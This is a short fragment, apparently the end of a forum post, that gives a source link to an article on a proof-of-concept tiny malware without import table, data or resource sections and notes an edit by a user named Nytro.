Sursa: https://www.codeandsec.com/PoC-Tiny-Malware-Without-IAT-DATA-Or-Resource-Section

Edited by Nytro
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